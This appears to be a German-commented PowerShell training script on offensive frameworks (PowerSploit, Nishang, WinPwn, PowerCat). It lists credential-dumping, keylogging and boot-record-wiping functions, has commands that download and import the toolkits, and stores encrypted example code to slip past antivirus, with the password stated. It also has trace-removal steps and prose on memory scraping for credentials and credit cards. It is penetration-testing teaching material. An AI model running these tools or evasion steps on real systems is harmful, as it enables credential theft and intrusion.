Out-EncodedCommand => Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
Out-CompressedDll => Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.
Out-EncryptedScript => Encrypts text files/scripts.
Remove-Comments => Strips comments and extra whitespace from a script.
 
# Persistence
  Add persistence capabilities to a PowerShell script
 
New-UserPersistenceOption => Configure user-level persistence options for the Add-Persistence function.
New-ElevatedPersistenceOption => Configure elevated persistence options for the Add-Persistence function.
Add-Persistence => Add persistence capabilities to a script.
Install-SSP => Installs a security support provider (SSP) dll.
Get-SecurityPackages => Enumerates all loaded security packages (SSPs).
 
# AntivirusBypass
  AV doesn't stand a chance against PowerShell!
 
? Find-AVSignature => Locates single Byte AV signatures utilizing the same method as DSplit from "class101".
 
# Exfiltration
  All your data belong to me!
 
Invoke-TokenManipulation => Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
Invoke-CredentialInjection => Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).
Invoke-NinjaCopy => Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.
! Invoke-Mimikatz => Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.
* Get-Keystrokes => Logs keys pressed, time and the active window.
Get-GPPPassword => Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
Get-GPPAutologon => Retrieves Autologon username and password from registry.xml if pushed through Group Policy Preferences.
! Get-TimedScreenshot => A function that takes screenshots at a regular interval and saves them to a folder.
New-VolumeShadowCopy => Creates a new volume shadow copy.
Get-VolumeShadowCopy => Lists the device paths of all local volume shadow copies.
Mount-VolumeShadowCopy => Mounts a volume shadow copy.
Remove-VolumeShadowCopy => Deletes a volume shadow copy.
! Get-VaultCredential => Displays Windows vault credential objects including ClearText web credentials.
! Out-Minidump => Generates a full-memory minidump of a process.
 
# Mayhem
  Cause general mayhem with PowerShell.
 
Set-MasterBootRecord => Proof of concept code that overwrites the master boot record with the message of your choice.
! Set-CriticalProcess => Causes your machine to blue screen upon exiting PowerShell.
 
# PrivEsc
  Tools to help with escalating privileges on a target.
 
PowerUp => Clearing house of common privilege escalation checks, along with some weaponization vectors.
 
Recon
Tools to aid in the reconnaissance phase of a penetration test.
 
* Invoke-PortScan => Does a simple port scan using regular sockets, based (pretty) loosely on NMap.
* Get-HttpStatus => Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file.
* Invoke-ReverseDnsLookup => Scans an IP address range for DNS PTR records.
Export-PowerViewCSV => Misc. helpers
Set-MacAttribute => Misc. helpers
Copy-ClonedFile => Misc. helpers
Get-IPAddress => Misc. helpers
Convert-NameToSid => Misc. helpers
Convert-SidToName => Misc. helpers
Convert-NT4toCanonical => Misc. helpers
Convert-CanonicalToNT4 => Misc. helpers
ConvertFrom-UACValue => Misc. helpers
Get-Proxy => Misc. helpers
Get-PathAcl => Misc. helpers
Get-NameField => Misc. helpers
Convert-LDAPProperty => Misc. helpers
Get-DomainSearcher => Domain info functions below.
Get-NetDomain => Domain info functions below.
Get-NetForest => Domain info functions below.
Get-NetForestDomain => Domain info functions below.
Get-NetForestCatalog => Domain info functions below.
Get-NetDomainController => Domain info functions below.
Get-NetUser => "net *" replacements and other fun start below
Add-NetUser => "net *" replacements and other fun start below
Add-NetGroupUser => "net *" replacements and other fun start below
Get-UserProperty => "net *" replacements and other fun start below
Find-UserField => "net *" replacements and other fun start below
Get-UserEvent => "net *" replacements and other fun start below
Get-ObjectAcl => "net *" replacements and other fun start below
Add-ObjectAcl => "net *" replacements and other fun start below
Invoke-ACLScanner => "net *" replacements and other fun start below
Get-GUIDMap => "net *" replacements and other fun start below
Get-NetComputer => "net *" replacements and other fun start below
Get-ADObject => "net *" replacements and other fun start below
Set-ADObject => "net *" replacements and other fun start below
Invoke-DowngradeAccount => "net *" replacements and other fun start below
Get-ComputerProperty => "net *" replacements and other fun start below
Find-ComputerField => "net *" replacements and other fun start below
Get-NetOU => "net *" replacements and other fun start below
Get-NetSite => "net *" replacements and other fun start below
Get-NetSubnet => "net *" replacements and other fun start below
Get-DomainSID => "net *" replacements and other fun start below
Get-NetGroup => "net *" replacements and other fun start below
Get-NetGroupMember => "net *" replacements and other fun start below
Get-NetFileServer => "net *" replacements and other fun start below
Get-DfsShare => "net *" replacements and other fun start below
Get-GptTmpl => GPO related functions.
Get-GroupsXML => GPO related functions.
Get-NetGPO => GPO related functions.
Get-NetGPOGroup => GPO related functions.
Find-GPOLocation => GPO related functions.
Find-GPOComputerAdmin => GPO related functions.
Get-DomainPolicy => GPO related functions.
Get-NetLocalGroup => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect).
Get-NetShare => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect).
Get-NetLoggedon => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect).
Get-NetSession => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect).
Get-NetRDPSession => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect).
Invoke-CheckLocalAdminAccess => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect)
Get-LastLoggedOn => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect)
Get-CachedRDPConnection => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect)
Get-NetProcess => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect)
Find-InterestingFile => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect)
Invoke-ThreadedFunction => 'Meta'-functions start below
Invoke-UserHunter => 'Meta'-functions start below
Invoke-StealthUserHunter => 'Meta'-functions start below
Invoke-ProcessHunter => 'Meta'-functions start below
Invoke-EventHunter => 'Meta'-functions start below
Invoke-ShareFinder => 'Meta'-functions start below
Invoke-FileFinder => 'Meta'-functions start below
Find-LocalAdminAccess => 'Meta'-functions start below
Get-ExploitableSystem => 'Meta'-functions start below
Invoke-EnumerateLocalAdmin => 'Meta'-functions start below
Get-NetDomainTrust => Domain trust functions below.
Get-NetForestTrust => Domain trust functions below.
Find-ForeignUser => Domain trust functions below.
Find-ForeignGroup => Domain trust functions below.
Invoke-MapDomainTrust => Domain trust functions below.
 
Recon\Dictionaries
A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.
 
admin.txt => http://cirt.net/nikto2/
generic.txt => http://sourceforge.net/projects/yokoso/files/yokoso-0.1/
SharePoint.txt => http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/
 
#>


# ! Module etablieren:
Invoke-WebRequest -Uri "https://github.com/PowerShellMafia/PowerSploit/archive/v3.0.0.zip" -OutFile "C:\Temp\PowerSploit.zip"
Expand-Archive -Path ".\PowerSploit.zip" -DestinationPath ".\"
Rename-Item -Path ".\PowerSploit-3.0.0" -NewName "PowerSploit"
Import-Module -Name ".\PowerSploit\PowerSploit.psd1" -Force -Verbose

# TODO Beispiel-Code entschlüsseln (nötig da sonst der Virenscanner diese Datei löscht):

$Kryptonite = Get-PfxCertificate -FilePath ".\Kryptonite.pfx" # TODO Das Passwort lautet: P@ssw0rd
@"
-----BEGIN CMS-----
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
PZLhaRYMGIV3+65+2wCH08FD
-----END CMS-----
"@
 | Unprotect-CmsMessage -To $Kryptonite | Set-Clipboard # TODO Der entschlüsselte Code liegt jetzt in der Zwischenablage!

# ! Aufräumen und alle Spuren beseitigen:
Remove-Module -Name "PowerSploit" -Force -Verbose
Set-Location -Path $env:USERPROFILE
Remove-MpPreference -ExclusionPath "C:\Temp" -Force
Remove-Item -Path "C:\Temp" -Recurse -Force
Remove-Variable -Name LoadLibrary, Address, p -Force

#endregion

#region # ? Nishang

# * Nishang ist ein Penetration-Testing-Framework basierend PowerShell.

# * Letztes Update: 2018
# * Quelle: https://github.com/samratashok/nishang

# * Beschreibung
<# Nishang ist in den verschiedenen Phasen eines Sicherheitsauditprozesses nützlich und
   verfügt Skripte wie der Informationsbeschaffung, des Scannens, der Berechtigungserweiterung und viele mehr.
 
   Nützliche Links:
   https://n0where.net/powershell-penetration-testing-framework-nishang
   https://serenity-networks.com/hacking-in-windows-using-nishang-with-windows-powershell
#>


# ! 1. Nishang etablieren:
Invoke-WebRequest -Uri ("https://github.com/samratashok/nis"+"hang/archive/master.zip") -OutFile (".\nis"+"hang.zip")
Expand-Archive -Path (".\nis" + "hang.zip") -DestinationPath "." -Force
Rename-Item -Path (".\nis" + "hang-master") -NewName "nishang" -Force
Get-ChildItem -Path (".\nis" + "hang") -Recurse | Unblock-File
Import-Module -Name ".\nishang\nishang.psm1" -Force -Verbose

# ? Übersicht
Get-Command -Module nishang | Out-GridView -OutputMode Multiple | Get-Help -ShowWindow
Show-Command

# TODO Beispiel-Code entschlüsseln (nötig da sonst der Virenscanner diese Datei löscht):

$Kryptonite = Get-PfxCertificate -FilePath ".\Kryptonite.pfx" # TODO Das Passwort lautet: P@ssw0rd
@"
-----BEGIN CMS-----
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
yyTtVIMUo8qFCNQbGMZTyg==
-----END CMS-----
"@
 | Unprotect-CmsMessage -To $Kryptonite | Set-Clipboard # TODO Der entschlüsselte Code liegt jetzt in der Zwischenablage!

#endregion

#region # ? WinPwn

# * Automation For Internal Windows Penetrationtest / AD-Security

# * Letztes Update: 2020
# * Quelle: https://github.com/S3cur3Th1sSh1t/WinPwn

# * Beschreibung
<# Der Autor schreibt über sein Penetrationstests:
    "In vielen früheren internen Penetrationstests hatte ich häufig Probleme mit den vorhandenen Powershell Recon / Exploitation-Skripten,
    da die Proxy-Unterstützung fehlte. Ich habe oft die gleichen Skripte nacheinander ausgeführt, um Informationen über das aktuelle System
    und / oder die Domäne zu erhalten. Um möglichst viele interne Penetrationstest-Prozesse (Aufklärung sowie Ausnutzung) und aus
    Proxy-Gründen zu automatisieren, habe ich ein eigenes Skript mit automatischer Proxy-Erkennung und -Integration geschrieben.
    Das Skript basiert hauptsächlich auf bekannten großen anderen anstößigen Security-Powershell-Projekten. Sie werden über
    IEX Downloadstring in den RAM geladen."
#>


Invoke-WebRequest -Uri ("https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/ObfusWinPwn.ps1") -OutFile ("ObfusWinPwn.ps1")
Import-Module -Name ".\ObfusWinPwn.ps1" -Force -Verbose

#endregion

<#
PowerCat
https://github.com/besimorhino/powercat
PowerCat wurde im September 2014 auf der Konferenz DerbyCon von Mick Douglas vorgestellt [7]. Es implementiert die Funktionen von NetCat in reinem PowerShell, ohne dass besondere Systemvoraussetzungen NetCat – außer dem Vorhandensein von PowerShell in mindestens Version 2.0. NetCat ist ein einfaches, bei Administratoren und Angreifern gleichermaßen beliebtes Dienstprogramm, das Daten von der Standardeingabe und Standardausgabe über Netzwerkverbindungen überträgt. Der Funktionsumfang neuerer Versionen von PowerCat übersteigt inzwischen den von NetCat [8, S. 2].
Die reine Implementierung in PowerShell verhindert die Erkennung durch Malwarescanner und Host-basierte Einbruchserkennungssysteme, die NetCat-Varianten in Binärform in der Regel zuverlässig aufspüren. Die dadurch mögliche NetCat-Funktionalität – gleichermaßen als Server wie als Client unterschiedliche Systeme miteinander zu verbinden – hilft echten Angreifern und Pentestern im Zielnetzwerk beim Überwinden einer weiteren technischen Sicherheitsmaßnahme, der Segmentierung eines Unternehmensnetzwerks in stärker und schwächer geschützte Bereiche.
 
PowerMemory
https://github.com/giMini/PowerMemory
PowerMemory wurde im Juli 2015 von Pierre-Alexandre Braeken veröffentlicht und ermöglicht den Diebstahl von Zugangsdaten aus dem Arbeitsspeicher. Dazu muss es im Gegensatz zu ähnlichen Ansätzen keinen bösartigen Code in andere Prozesse injizieren, in denen diese Zugangsdaten verwaltet werden. Stattdessen erstellt es ein Abbild des kompletten Arbeitsspeichers, sucht Speicherbereiche mit den verschlüsselten Zugangsdaten, entschlüsselt sie und übertragt die gefundenen Passwörter und Hashes an den Angreifer [10].
Abbildung 5: Protokoll von PowerMemory mit ausgelesenen Zugangsdaten (Quelle: https://securityaffairs.co/wordpress/39721/hacking/powermemory-extract-credentials.html)
PowerMemory zeichnet sich dadurch aus, dass es zwar auf Binärdateien zurückgreift, jedoch nur von Microsoft selbst erstellte und digital signierte Programme startet. Dadurch bleibt es von Malwarescannern und ähnlichen Sicherheitslösungen unentdeckt [11, S. 14].
 
PowerShell Memory Scraping for Credit Cards
https://www.shellntel.com/blog/2015/9/16/powershell-cc-memory-scraper
Beachtenswert für echte Angreifer wie für Pentester, die die Ziele eines profitorientierten Angreifers möglichst realitätsnah simulieren wollen, ist das PowerShell-Skript Memory Scraping von Casey Cammilleri aus dem September 2015.
Das Skript sucht im Arbeitsspeicher eines angegebenen Prozesses nach Kreditkartennummern und kann diese etwa auslesen, wenn in einem Browser ein Bestellformular mit Zahlungsdaten ausgefüllt wurde. Anschließend übertragt es die gefundenen Kreditkartendaten an einen Webserver, der vom Angreifer kontrolliert wird [12]. Das kompakte Skript übernimmt Codeteile von PowerSploit.
Abbildung 6: Auslesen von Kreditkartendaten mit PowerShell Memory Scraper (Quelle: https://www.shellntel.com/blog/2015/9/16/powershell-cc-memory-scraper)
Das Metasploit-Framework des amerikanischen Herstellers Rapid7 ist das Standard-Test- und Angriffswerkzeug von professionellen Penetrations-Testern. Von Pentestern oder Administratoren im eigenen Netzwerk eingesetzt, kann Metasploit Schwachstellen finden und insbesondere ausnutzen [13, S. 60]. Auch echte, böswillige Angreifer setzen es für ihre Zwecke ein [14].
Module sind wichtige Bestandteile des Metasploit-Frameworks, dessen Architektur in Abbildung 3 gezeigt wird. Exploits ist das bekannteste Modul; es enthält eine Vielzahl an hochwertigen und übersichtlichen kategorisierten Schadprogrammen, die konkrete Schwachstellen in Betriebssystemen und Anwendungen ausnutzen.
Schließlich kann sich ein Angreifer zwischen zahlreichen Payloads – also der Nutzlast – seiner Schadsoftware entscheiden; darunter der Standard-Payload Meterpreter. Meterpreter kann einen angegriffenen Rechner umfangreich überwachen und steuern, etwa Screenshots anfertigen, eine eingebaute Webcam aktivieren oder Dateien vom Rechner des Opfers zum Angreifer übertragen.
Abbildung 7: Architektur des Metasploit-Frameworks
Noch bis Ende 2015 konnte PowerShell innerhalb des Metasploit-Frameworks, beispielsweise in einer Meterpreter-Sitzung auf einem erfolgreich übernommenen Rechner, nur eingeschränkt genutzt werden. Zwar waren auf der Kommandozeile Eingaben möglich, die Antworten wurden jedoch nicht angezeigt – interaktive Sitzungen waren so nicht möglich [15, S. 12].
Die Sicherheitsforscher Ben Turner und Dave Hardy haben Ende 2015 mehrere Module, Payloads sowie weitere Komponenten für das Metasploit-Framework entwickelt und veröffentlicht. Dadurch kann auf einem bereits mit Metasploit und dem Meterpreter-Payload gesteuerten Rechner eine interaktive PowerShell-Sitzung so gestartet werden, als säße der Angreifer vor dem Rechner und der PowerShell-Eingabeaufforderung.
Auch in dieser Implementierung haben die Autoren darauf geachtet, keine Binärdateien auf Festplatte abzulegen, alle Skripte nur im Arbeitsspeicher auszuführen und damit ein Erkennen oder Blockieren durch Malwarescanner zu vermeiden.
#>


# TODO Aufräumen und keine Spuren hinterlassen:

Remove-Module -Name "*" -Force -Verbose
Remove-MpPreference -ExclusionPath "C:\Temp" -Force
$WorkDirectoryBackup | Set-Location
Remove-Item -Path "C:\Temp" -Recurse -Force
Remove-Variable -Name "WorkDirectoryBackup", "LoadLibrary", "Address", "p" -Force

#endregion

#region BACKUP

# 1. Zertifikat laden. # ! P@ssw0rd
$Kryptonite = Get-PfxCertificate -FilePath ".\AKPT\Private\Wissen\X_Technology\X91_Kryptonite.pfx"

# ! 2. Verschlüsseln (Zwischenablage => Verschlüsseln => Zwischenablage)
Get-Clipboard | Protect-CmsMessage -To $Kryptonite | Set-Clipboard

# * 2. Entschlüsseln (Zwischenablage => Entschlüsseln => Zwischenablage)
Get-Clipboard | Unprotect-CmsMessage -To $Kryptonite | Set-Clipboard

<#
-----BEGIN CMS-----
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
